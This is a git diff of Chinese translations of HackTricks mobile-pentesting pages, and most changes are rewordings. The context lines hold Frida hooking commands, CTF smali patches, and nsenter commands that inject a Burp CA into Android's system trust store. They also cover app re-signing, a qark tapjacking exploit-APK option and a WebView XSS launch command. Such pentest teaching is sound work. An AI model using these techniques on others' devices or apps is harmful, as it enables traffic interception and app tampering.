从[源代码](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)中我们知道**函数**_**sum()**_**来自**_**MainActivity**_**每秒运行一次**。让我们尝试在每次调用该函数时**转储所有可能的信息**(参数、返回值和回溯):
|
||||
```bash
|
||||
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
|
||||
```
|
||||
.png>)
|
||||
|
||||
#### 钩住(观察)整个类
|
||||
#### Hooking (watching) an entire class
|
||||
|
||||
实际上,我发现 MainActivity 类的所有方法都非常有趣,让我们**钩住它们**。小心,这可能会**崩溃**一个应用程序。
|
||||
实际上,我发现 MainActivity 类的所有方法都非常有趣,让我们**全部 hook 住**。小心,这可能会**崩溃**一个应用程序。
|
||||
```bash
|
||||
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
|
||||
```
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
基于 [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
|
||||
|
||||
**Hook \_exit()**\_ 函数和 **decrypt function**,以便在你按下验证时在 frida 控制台中打印标志:
|
||||
**Hook \_exit()**\_ 函数和 **decrypt function** 以便在你按下验证时在 frida 控制台打印标志:
|
||||
```javascript
|
||||
Java.perform(function () {
|
||||
send("Starting hooks OWASP uncrackable1...")
|
||||
|
||||
@ -2,27 +2,27 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
在这里下载 APK:
|
||||
在这里下载APK:
|
||||
|
||||
我将把 APK 上传到 [https://appetize.io/](https://appetize.io)(免费账户)以查看 APK 的行为:
|
||||
我将把APK上传到[https://appetize.io/](https://appetize.io)(免费账户)以查看APK的行为:
|
||||
|
||||
.png>)
|
||||
|
||||
看起来你需要赢得 1000000 次才能获得标志。
|
||||
看起来你需要赢得1000000次才能获得标志。
|
||||
|
||||
按照 [pentesting Android](./) 的步骤,你可以反编译应用程序以获取 smali 代码,并使用 jadx 阅读 Java 代码。
|
||||
按照[pentesting Android](./)的步骤,你可以反编译应用程序以获取smali代码,并使用jadx读取Java代码。
|
||||
|
||||
阅读 Java 代码:
|
||||
阅读Java代码:
|
||||
|
||||
.png>)
|
||||
|
||||
看起来打印标志的函数是 **m()。**
|
||||
看起来打印标志的函数是**m()**。
|
||||
|
||||
## **Smali 更改**
|
||||
## **Smali更改**
|
||||
|
||||
### **第一次调用 m()**
|
||||
### **第一次调用m()**
|
||||
|
||||
让我们让应用程序在变量 _this.o != 1000000_ 时调用 m(),只需更改条件:
|
||||
让我们让应用程序在变量_this.o != 1000000时调用m(),只需更改条件:
|
||||
```
|
||||
if-ne v0, v9, :cond_2
|
||||
```
|
||||
@ -44,7 +44,7 @@ if-eq v0, v9, :cond_2
|
||||
|
||||
.png>)
|
||||
|
||||
**另一种方法**是将比较值从 1000000 改为 1,这样 this.o 就与 1 进行比较:
|
||||
**另一种方法**是将比较值从 1000000 改为 1,这样 this.o 就会与 1 进行比较:
|
||||
|
||||
.png>)
|
||||
|
||||
|
||||
@ -2,14 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 在虚拟机上
|
||||
|
||||
首先,您需要从 Burp 下载 Der 证书。您可以在 _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ 中完成此操作。
|
||||
|
||||
.png>)
|
||||
|
||||
**以 Der 格式导出证书**,然后让我们**转换**它为 **Android** 能够**理解**的形式。请注意,**为了在 AVD 的 Android 机器上配置 burp 证书**,您需要**使用** **`-writable-system`** 选项运行此机器。\
|
||||
**以 Der 格式导出证书**,然后让我们**转换**它为 **Android** 能够**理解**的格式。请注意,**为了在 AVD 的 Android 机器上配置 burp 证书**,您需要**使用** **`-writable-system`** 选项运行此机器。\
|
||||
例如,您可以这样运行:
|
||||
```bash
|
||||
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
|
||||
@ -29,7 +28,7 @@ adb reboot #Now, reboot the machine
|
||||
|
||||
## 使用 Magisc
|
||||
|
||||
如果你**用 Magisc 获取了设备的 root 权限**(可能是模拟器),并且你**无法按照**之前的**步骤**安装 Burp 证书,因为**文件系统是只读的**,你无法重新挂载为可写,还有另一种方法。
|
||||
如果你**用 Magisc 获取了设备的 root 权限**(可能是模拟器),并且你**无法按照**之前的**步骤**安装 Burp 证书,因为**文件系统是只读**的,无法重新挂载为可写,还有另一种方法。
|
||||
|
||||
在[**这个视频**](https://www.youtube.com/watch?v=qQicUW0svB8)中解释,你需要:
|
||||
|
||||
@ -57,7 +56,7 @@ adb reboot #Now, reboot the machine
|
||||
|
||||
Android 的初始化涉及 `init` 进程,该进程在启动操作系统时还会启动 Zygote 进程。该进程负责以新的挂载命名空间启动应用程序进程,其中包括一个私有的 **`/apex`** 挂载,从而将对该目录的更改与其他进程隔离。
|
||||
|
||||
然而,对于需要修改 **`/apex`** 目录中系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载 **`/apex`** 以去除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一个位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读约束,然后将内容恢复到 **`/apex`** 中的原始位置。此方法需要迅速行动以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这有效地重启所有应用程序并使系统恢复到一致状态。
|
||||
然而,对于需要修改 **`/apex`** 目录中系统信任的 CA 证书的人来说,存在一种解决方法。这涉及手动重新挂载 **`/apex`** 以移除 PRIVATE 传播,从而使其可写。该过程包括将 **`/apex/com.android.conscrypt`** 的内容复制到另一个位置,卸载 **`/apex/com.android.conscrypt`** 目录以消除只读约束,然后将内容恢复到 **`/apex`** 中的原始位置。此方法需要迅速行动以避免系统崩溃。为了确保这些更改在系统范围内生效,建议重启 `system_server`,这有效地重启所有应用程序并使系统恢复到一致状态。
|
||||
```bash
|
||||
# Create a separate temp directory, to hold the current certificates
|
||||
# Otherwise, when we add the mount we can't read the current certs anymore.
|
||||
@ -122,19 +121,19 @@ echo "System certificate injected"
|
||||
mount -t tmpfs tmpfs /system/etc/security/cacerts
|
||||
```
|
||||
2. **准备 CA 证书**:在设置可写目录后,应该将打算使用的 CA 证书复制到该目录中。这可能涉及从 `/apex/com.android.conscrypt/cacerts/` 复制默认证书。必须相应地调整这些证书的权限和 SELinux 标签。
|
||||
3. **为 Zygote 绑定挂载**:使用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 是负责启动 Android 应用程序的进程,此步骤是确保所有随后启动的应用程序使用新配置的 CA 证书。使用的命令是:
|
||||
3. **为 Zygote 绑定挂载**:利用 `nsenter`,进入 Zygote 的挂载命名空间。Zygote 作为负责启动 Android 应用程序的进程,需要此步骤以确保所有随后启动的应用程序使用新配置的 CA 证书。使用的命令是:
|
||||
```bash
|
||||
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
这确保每个新启动的应用程序将遵循更新的 CA 证书设置。
|
||||
|
||||
4. **将更改应用于正在运行的应用程序**:要将更改应用于已经运行的应用程序,再次使用 `nsenter` 进入每个应用程序的命名空间,并执行类似的绑定挂载。必要的命令是:
|
||||
4. **将更改应用于正在运行的应用程序**:要将更改应用于已经运行的应用程序,再次使用 `nsenter` 逐个进入每个应用程序的命名空间并执行类似的绑定挂载。必要的命令是:
|
||||
```bash
|
||||
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
|
||||
```
|
||||
5. **替代方法 - 软重启**:一种替代方法涉及在 `init` 进程 (PID 1) 上执行绑定挂载,然后使用 `stop && start` 命令对操作系统进行软重启。这种方法将更改传播到所有命名空间,避免了单独处理每个正在运行的应用程序的需要。然而,由于重启的不便,这种方法通常不太受欢迎。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
|
||||
|
||||
|
||||
@ -37,10 +37,10 @@
|
||||
</base-config>
|
||||
</network-security-config>
|
||||
```
|
||||
然后保存文件,退出所有目录,并使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
然后保存文件并退出所有目录,使用以下命令重建apk: `apktool b *folder-name/* -o *output-file.apk*`
|
||||
|
||||

|
||||
|
||||
最后,您只需**签署新应用程序**。 [阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
最后,您只需**签署新应用程序**。[阅读此页面的Smali - 反编译/\[修改\]/编译部分以了解如何签署它](smali-changes.md#sing-the-new-apk)。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -18,15 +18,15 @@
|
||||
|
||||
1. 在 Google Chrome 中打开 `index.html` 文件。
|
||||
|
||||
2. 通过按 **Command+Option+J for OS X** 或 **Control+Shift+J for Windows** 打开开发者工具栏。
|
||||
2. 按 **Command+Option+J for OS X** 或 **Control+Shift+J for Windows** 打开开发者工具栏。
|
||||
|
||||
3. 在开发者工具栏中点击“Sources”。您应该会看到一个分成文件夹和文件的 JavaScript 文件,构成了主包。
|
||||
3. 在开发者工具栏中点击“Sources”。您应该会看到一个分成文件夹和文件的 JavaScript 文件,构成主要的捆绑包。
|
||||
|
||||
如果您找到一个名为 `index.android.bundle.map` 的文件,您将能够以未压缩格式分析源代码。映射文件包含源映射,这使您能够映射压缩的标识符。
|
||||
如果您找到一个名为 `index.android.bundle.map` 的文件,您将能够以未压缩的格式分析源代码。映射文件包含源映射,这使您能够映射压缩的标识符。
|
||||
|
||||
要搜索敏感凭证和端点,请按照以下步骤操作:
|
||||
|
||||
1. 确定敏感关键字以分析 JavaScript 代码。React Native 应用程序通常使用第三方服务,如 Firebase、AWS S3 服务端点、私钥等。
|
||||
1. 确定敏感关键词以分析 JavaScript 代码。React Native 应用程序通常使用第三方服务,如 Firebase、AWS S3 服务端点、私钥等。
|
||||
|
||||
2. 在这种特定情况下,观察到该应用程序使用了 Dialogflow 服务。搜索与其配置相关的模式。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
**更多信息请查看:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
|
||||
|
||||
Android 应用可以使用本地库,通常用 C 或 C++ 编写,以满足性能关键任务的需求。恶意软件创建者也使用这些库,因为它们比 DEX 字节码更难以反向工程。该部分强调针对 Android 的反向工程技能,而不是教授汇编语言。提供了 ARM 和 x86 版本的库以确保兼容性。
|
||||
Android 应用可以使用本地库,通常用 C 或 C++ 编写,以满足性能关键任务的需求。恶意软件创建者也使用这些库,因为它们比 DEX 字节码更难以反向工程。本节强调针对 Android 的反向工程技能,而不是教授汇编语言。提供了 ARM 和 x86 版本的库以确保兼容性。
|
||||
|
||||
### 关键点:
|
||||
|
||||
@ -33,7 +33,7 @@ Android 应用可以使用本地库,通常用 C 或 C++ 编写,以满足性
|
||||
|
||||
- **学习 ARM 汇编:**
|
||||
- 建议深入了解底层架构。
|
||||
- 推荐 [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/) 来自 Azeria Labs。
|
||||
- 推荐来自 Azeria Labs 的 [ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)。
|
||||
- **JNI 和 NDK 文档:**
|
||||
- [Oracle 的 JNI 规范](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
|
||||
- [Android 的 JNI 提示](https://developer.android.com/training/articles/perf-jni)
|
||||
|
||||
@ -26,7 +26,7 @@ apktool d APP.apk
|
||||
- _AndroidManifest.xml_
|
||||
- 任何扩展名为 _.sqlite_ 或 _.db_ 的文件
|
||||
|
||||
如果 `apktool` 在 **解码应用程序时遇到问题**,请查看 [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) 或尝试使用参数 **`-r`**(不解码资源)。然后,如果问题出在资源而不是源代码中,你就不会遇到这个问题(你也不会反编译资源)。
|
||||
如果 `apktool` 在 **解码应用程序时遇到问题**,请查看 [https://ibotpeaches.github.io/Apktool/documentation/#framework-files](https://ibotpeaches.github.io/Apktool/documentation/#framework-files) 或尝试使用参数 **`-r`**(不解码资源)。然后,如果问题出在资源而不是源代码中,你就不会有这个问题(你也不会反编译资源)。
|
||||
|
||||
## 更改 smali 代码
|
||||
|
||||
@ -48,7 +48,7 @@ apktool b . #In the folder generated when you decompiled the application
|
||||
|
||||
如果**apktool**抛出**错误**,请尝试[安装**最新版本**](https://ibotpeaches.github.io/Apktool/install/)
|
||||
|
||||
### **签名新的APK**
|
||||
### **签署新的APK**
|
||||
|
||||
然后,您需要**生成一个密钥**(系统会要求您输入密码和一些您可以随机填写的信息):
|
||||
```bash
|
||||
@ -60,14 +60,14 @@ jarsigner -keystore key.jks path/to/dist/* <your-alias>
|
||||
```
|
||||
### 优化新应用程序
|
||||
|
||||
**zipalign** 是一个归档对齐工具,为 Android 应用程序 (APK) 文件提供重要的优化。[更多信息在这里](https://developer.android.com/studio/command-line/zipalign)。
|
||||
**zipalign** 是一个归档对齐工具,为 Android 应用程序 (APK) 文件提供重要的优化。[More information here](https://developer.android.com/studio/command-line/zipalign).
|
||||
```bash
|
||||
zipalign [-f] [-v] <alignment> infile.apk outfile.apk
|
||||
zipalign -v 4 infile.apk
|
||||
```
|
||||
### **再次签署新的APK(再一次?)**
|
||||
|
||||
如果您**更喜欢**使用 [**apksigner**](https://developer.android.com/studio/command-line/) 而不是 jarsigner,**您应该在应用** zipaling **优化后签署apk**。但请注意,您只需**使用 jarsigner 签署应用一次**(在 zipalign 之前)或使用 aspsigner(在 zipaling 之后)。
|
||||
如果您**更喜欢**使用 [**apksigner**](https://developer.android.com/studio/command-line/) 而不是 jarsigner,**您应该在应用** zipalign **优化后签署apk**。但请注意,您只需**使用 jarsigner 签署应用一次**(在 zipalign 之前)或使用 aspsigner(在 zipalign 之后)。
|
||||
```bash
|
||||
apksigner sign --ks key.jks ./dist/mycompiled.apk
|
||||
```
|
||||
@ -139,11 +139,11 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
||||
```
|
||||
建议:
|
||||
|
||||
- 如果您打算在函数内部使用声明的变量(声明 v0,v1,v2...),请将这些行放在 _.local \<number>_ 和变量声明 (_const v0, 0x1_) 之间。
|
||||
- 如果您打算在函数内部使用声明的变量(声明为 v0, v1, v2...),请将这些行放在 _.local \<number>_ 和变量声明 (_const v0, 0x1_) 之间。
|
||||
- 如果您想在函数的代码中间放置日志记录代码:
|
||||
- 将声明的变量数量加 2:例如,从 _.locals 10_ 到 _.locals 12_。
|
||||
- 新变量应为已声明变量的下一个数字(在此示例中应为 _v10_ 和 _v11_,请记住它从 v0 开始)。
|
||||
- 更改日志记录函数的代码,并使用 _v10_ 和 _v11_ 替代 _v5_ 和 _v1_。
|
||||
- 更改日志记录函数的代码,并使用 _v10_ 和 _v11_ 代替 _v5_ 和 _v1_。
|
||||
|
||||
### Toasting
|
||||
|
||||
|
||||
@ -1,34 +1,34 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
在某个应用程序仅限于特定国家的情况下,如果由于地区限制无法在您的Android设备上安装该应用程序,伪装您的位置到该应用程序可用的国家可以让您获得访问权限。以下步骤详细说明了如何做到这一点:
|
||||
在某些应用程序仅限于特定国家的情况下,如果由于地区限制无法在您的 Android 设备上安装它,伪装您的位置到该应用程序可用的国家可以让您获得访问权限。以下步骤详细说明了如何做到这一点:
|
||||
|
||||
1. **安装 Hotspot Shield Free VPN Proxy:**
|
||||
1. **安装 Hotspot Shield 免费 VPN 代理:**
|
||||
|
||||
- 首先从Google Play商店下载并安装Hotspot Shield Free VPN Proxy。
|
||||
- 首先从 Google Play 商店下载并安装 Hotspot Shield 免费 VPN 代理。
|
||||
|
||||
2. **连接到VPN服务器:**
|
||||
2. **连接到 VPN 服务器:**
|
||||
|
||||
- 打开Hotspot Shield应用程序。
|
||||
- 通过选择您想要访问的应用程序可用的国家来连接到VPN服务器。
|
||||
- 打开 Hotspot Shield 应用程序。
|
||||
- 通过选择您想要访问的应用程序可用的国家来连接到 VPN 服务器。
|
||||
|
||||
3. **清除Google Play商店数据:**
|
||||
3. **清除 Google Play 商店数据:**
|
||||
|
||||
- 导航到设备的**设置**。
|
||||
- 进入**应用**或**应用管理器**(这可能因设备而异)。
|
||||
- 从应用列表中找到并选择**Google Play商店**。
|
||||
- 点击**强制停止**以终止该应用程序的任何正在运行的进程。
|
||||
- 然后点击**清除数据**或**清除存储**(确切的措辞可能有所不同)以将Google Play商店应用重置为默认状态。
|
||||
- 导航到您设备的 **设置**。
|
||||
- 进入 **应用** 或 **应用管理器**(这可能因设备而异)。
|
||||
- 从应用列表中找到并选择 **Google Play 商店**。
|
||||
- 点击 **强制停止** 以终止该应用的任何正在运行的进程。
|
||||
- 然后点击 **清除数据** 或 **清除存储**(确切的措辞可能有所不同)以将 Google Play 商店应用重置为默认状态。
|
||||
|
||||
4. **访问受限应用程序:**
|
||||
- 打开**Google Play商店**。
|
||||
- 商店现在应该反映您通过VPN连接的国家的内容。
|
||||
- 打开 **Google Play 商店**。
|
||||
- 商店现在应该反映您通过 VPN 连接的国家的内容。
|
||||
- 您应该能够搜索并安装之前在您实际位置不可用的应用程序。
|
||||
|
||||
### 重要说明:
|
||||
|
||||
- 此方法的有效性可能会因多个因素而异,包括VPN服务的可靠性和应用程序施加的特定地区限制。
|
||||
- 定期使用VPN可能会影响某些应用程序和服务的性能。
|
||||
- 请注意您使用的任何应用程序或服务的服务条款,因为使用VPN绕过地区限制可能会违反这些条款。
|
||||
- 此方法的有效性可能会因多个因素而异,包括 VPN 服务的可靠性和应用程序施加的特定地区限制。
|
||||
- 定期使用 VPN 可能会影响某些应用和服务的性能。
|
||||
- 请注意您使用的任何应用或服务的服务条款,因为使用 VPN 绕过地区限制可能会违反这些条款。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -9,7 +9,7 @@
|
||||
|
||||
### 检测
|
||||
|
||||
为了检测易受此攻击的应用程序,您应该在 Android 清单中搜索 **导出活动**(请注意,带有 intent-filter 的活动默认情况下会自动导出)。一旦找到导出活动,**检查它们是否需要任何权限**。这是因为 **恶意应用程序也需要该权限**。
|
||||
为了检测易受此攻击的应用程序,您应该在 Android 清单中搜索 **导出活动**(请注意,带有意图过滤器的活动默认情况下会自动导出)。一旦找到导出活动,**检查它们是否需要任何权限**。这是因为 **恶意应用程序也需要该权限**。
|
||||
|
||||
### 保护
|
||||
|
||||
@ -50,13 +50,12 @@ android:filterTouchesWhenObscured="true">
|
||||
> [!CAUTION]
|
||||
> 看起来这个项目现在不再维护,这个功能也不再正常工作
|
||||
|
||||
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序,以测试可能的 **Tapjacking** 漏洞。\
|
||||
你可以使用 [**qark**](https://github.com/linkedin/qark) 和 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 参数来创建一个恶意应用程序,以测试可能的 **Tapjacking** 漏洞。
|
||||
|
||||
缓解措施相对简单,因为开发者可以选择在视图被另一个视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
缓解措施相对简单,因为开发者可以选择在视图被其他视图覆盖时不接收触摸事件。使用 [Android 开发者参考](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> 有时,应用程序能够验证某个操作是在用户充分了解和同意的情况下进行的,这一点至关重要,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作,通过掩盖视图的预期目的。作为补救措施,框架提供了一种触摸过滤机制,可以用来提高提供敏感功能访问的视图的安全性。
|
||||
> 有时,应用程序能够验证某个操作是在用户充分了解和同意的情况下进行的,这一点至关重要,例如授予权限请求、进行购买或点击广告。不幸的是,恶意应用程序可能会试图欺骗用户在不知情的情况下执行这些操作,通过隐藏视图的预期目的。作为补救措施,框架提供了一种触摸过滤机制,可以用来提高提供敏感功能访问的视图的安全性。
|
||||
>
|
||||
> 要启用触摸过滤,请调用 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) 或将 android:filterTouchesWhenObscured 布局属性设置为 true。当启用时,框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,当吐司、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收到触摸。
|
||||
|
||||
> 要启用触摸过滤,请调用 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) 或将 android:filterTouchesWhenObscured 布局属性设置为 true。当启用时,框架将丢弃在视图的窗口被另一个可见窗口遮挡时接收到的触摸。因此,当 toast、对话框或其他窗口出现在视图的窗口上方时,视图将不会接收到触摸。
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -20,13 +20,13 @@ Android 开发的一个关键方面是正确处理 WebViews。本指南强调了
|
||||
- 要检查此设置,请使用 `getAllowUniversalAccessFromFileURLs()`。
|
||||
- 要修改此设置,请使用 `setAllowUniversalAccessFromFileURLs(boolean)`。
|
||||
- **从文件 URL 的文件访问**:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
|
||||
- 使用 `getAllowFileAccessFromFileURLs()` 检查,使用 `setAllowFileAccessFromFileURLs(boolean)` 设置。
|
||||
- 使用 `getAllowFileAccessFromFileURLs()` 进行检查,使用 `setAllowFileAccessFromFileURLs(boolean)` 进行设置。
|
||||
|
||||
#### **安全文件加载**
|
||||
|
||||
为了在仍然访问资产和资源的同时禁用文件系统访问,使用 `setAllowFileAccess()` 方法。对于 Android R 及以上版本,默认设置为 `false`。
|
||||
|
||||
- 使用 `getAllowFileAccess()` 检查。
|
||||
- 使用 `getAllowFileAccess()` 进行检查。
|
||||
- 使用 `setAllowFileAccess(boolean)` 启用或禁用。
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
@ -44,7 +44,7 @@ webview.loadUrl("<url here>")
|
||||
### **JavaScript 和 Intent Scheme 处理**
|
||||
|
||||
- **JavaScript**:在 WebViews 中默认禁用,可以通过 `setJavaScriptEnabled()` 启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。
|
||||
- **Intent Scheme**:WebViews 可以处理 `intent` 方案,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。
|
||||
- **Intent Scheme**:WebViews 可以处理 `intent` scheme,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。
|
||||
|
||||
.png>)
|
||||
|
||||
@ -56,7 +56,7 @@ adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url
|
||||
|
||||
Android 提供了一项功能,使得 **JavaScript** 在 WebView 中能够调用 **本地 Android 应用程序功能**。这通过利用 `addJavascriptInterface` 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 _WebView JavaScript bridge_。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,将构成安全风险。
|
||||
|
||||
- 针对 Android 版本低于 4.2 的应用程序 **需要极其谨慎**,因为存在一个漏洞,允许通过恶意 JavaScript 进行远程代码执行,利用反射。
|
||||
- 针对 Android 版本低于 4.2 的应用程序,**需要极其谨慎**,因为存在一个漏洞允许通过恶意 JavaScript 进行远程代码执行,利用反射。
|
||||
|
||||
#### Implementing a JavaScript Bridge
|
||||
|
||||
|
||||
@ -23,7 +23,7 @@
|
||||
|
||||
- [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root,是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/#other-checks)。
|
||||
- [ ] 敏感应用程序(如银行应用)应检查手机是否已被 root,并应采取相应措施。
|
||||
- [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)(密码、URL、API、加密、后门、令牌、蓝牙 UUID 等)。
|
||||
- [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)(密码、URL、API、加密、后门、令牌、蓝牙 UUID...)。
|
||||
- [ ] 特别关注 [firebase](android-app-pentesting/#firebase) API。
|
||||
- [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
- [ ] 检查应用程序是否处于调试模式并尝试“利用”它
|
||||
@ -36,7 +36,7 @@
|
||||
- [ ] 应用程序是否 [不安全地内部或外部保存数据](android-app-pentesting/#insecure-data-storage)?
|
||||
- [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
- [ ] 所有库是否使用 PIE 标志编译?
|
||||
- [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助你。
|
||||
- [ ] 不要忘记有一堆 [静态 Android 分析器](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助你。
|
||||
|
||||
### [动态分析](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
**有关更多详细信息,请查看 [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**。这是一个总结:
|
||||
|
||||
Apache Cordova 以支持使用 **JavaScript、HTML 和 CSS** 开发 **混合应用程序** 而闻名。它允许创建 Android 和 iOS 应用程序;然而,它缺乏保护应用程序源代码的默认机制。与 React Native 相比,Cordova 默认不编译源代码,这可能导致代码篡改漏洞。Cordova 使用 WebView 来渲染应用程序,即使在编译成 APK 或 IPA 文件后,HTML 和 JavaScript 代码仍然暴露。相反,React Native 使用 JavaScript VM 来执行 JavaScript 代码,提供更好的源代码保护。
|
||||
Apache Cordova 以支持使用 **JavaScript、HTML 和 CSS** 开发 **混合应用程序** 而闻名。它允许创建 Android 和 iOS 应用程序;然而,它缺乏保护应用程序源代码的默认机制。与 React Native 相比,Cordova 默认不编译源代码,这可能导致代码篡改漏洞。Cordova 使用 WebView 渲染应用程序,即使在编译成 APK 或 IPA 文件后,HTML 和 JavaScript 代码仍然暴露。相反,React Native 使用 JavaScript VM 执行 JavaScript 代码,提供更好的源代码保护。
|
||||
|
||||
### 克隆 Cordova 应用程序
|
||||
|
||||
|
||||
@ -19,7 +19,7 @@
|
||||
- [ ] [**二进制 Cookie**](ios-pentesting/#cookies) 可以存储敏感信息
|
||||
- [ ] [**缓存数据**](ios-pentesting/#cache) 可以存储敏感信息
|
||||
- [ ] [**自动快照**](ios-pentesting/#snapshots) 可以保存视觉敏感信息
|
||||
- [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储在转售手机时可能遗留的敏感信息。
|
||||
- [ ] [**钥匙串**](ios-pentesting/#keychain) 通常用于存储敏感信息,这些信息在转售手机时可能会被遗留。
|
||||
- [ ] 总之,只需 **检查应用程序在文件系统中保存的敏感信息**
|
||||
|
||||
### 键盘
|
||||
@ -44,19 +44,19 @@
|
||||
|
||||
- [ ] 检查是否可以找到 [**用于加密的密码**](ios-pentesting/#broken-cryptography)
|
||||
- [ ] 检查是否使用 [**过时/弱算法**](ios-pentesting/#broken-cryptography) 来发送/存储敏感数据
|
||||
- [ ] [**挂钩并监控加密函数**](ios-pentesting/#broken-cryptography)
|
||||
- [ ] [**钩取并监控加密函数**](ios-pentesting/#broken-cryptography)
|
||||
|
||||
### **本地身份验证**
|
||||
|
||||
- [ ] 如果应用程序使用 [**本地身份验证**](ios-pentesting/#local-authentication),你应该检查身份验证的工作方式。
|
||||
- [ ] 如果使用 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
|
||||
- [ ] 如果使用 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),你可以创建一个自定义的 frida 脚本
|
||||
- [ ] 如果应用程序中使用了 [**本地身份验证**](ios-pentesting/#local-authentication),你应该检查身份验证的工作方式。
|
||||
- [ ] 如果使用的是 [**本地身份验证框架**](ios-pentesting/#local-authentication-framework),则可能很容易被绕过
|
||||
- [ ] 如果使用的是 [**可以动态绕过的函数**](ios-pentesting/#local-authentication-using-keychain),你可以创建一个自定义的 frida 脚本
|
||||
|
||||
### 通过 IPC 暴露敏感功能
|
||||
|
||||
- [**自定义 URI 处理程序 / 深度链接 / 自定义方案**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
|
||||
- [ ] 检查应用程序是否 **注册了任何协议/方案**
|
||||
- [ ] 检查应用程序是否 **注册使用** 任何协议/方案
|
||||
- [ ] 检查应用程序是否 **注册以使用** 任何协议/方案
|
||||
- [ ] 检查应用程序 **是否期望从自定义方案接收任何类型的敏感信息**,该信息可以被注册相同方案的另一个应用程序 **拦截**
|
||||
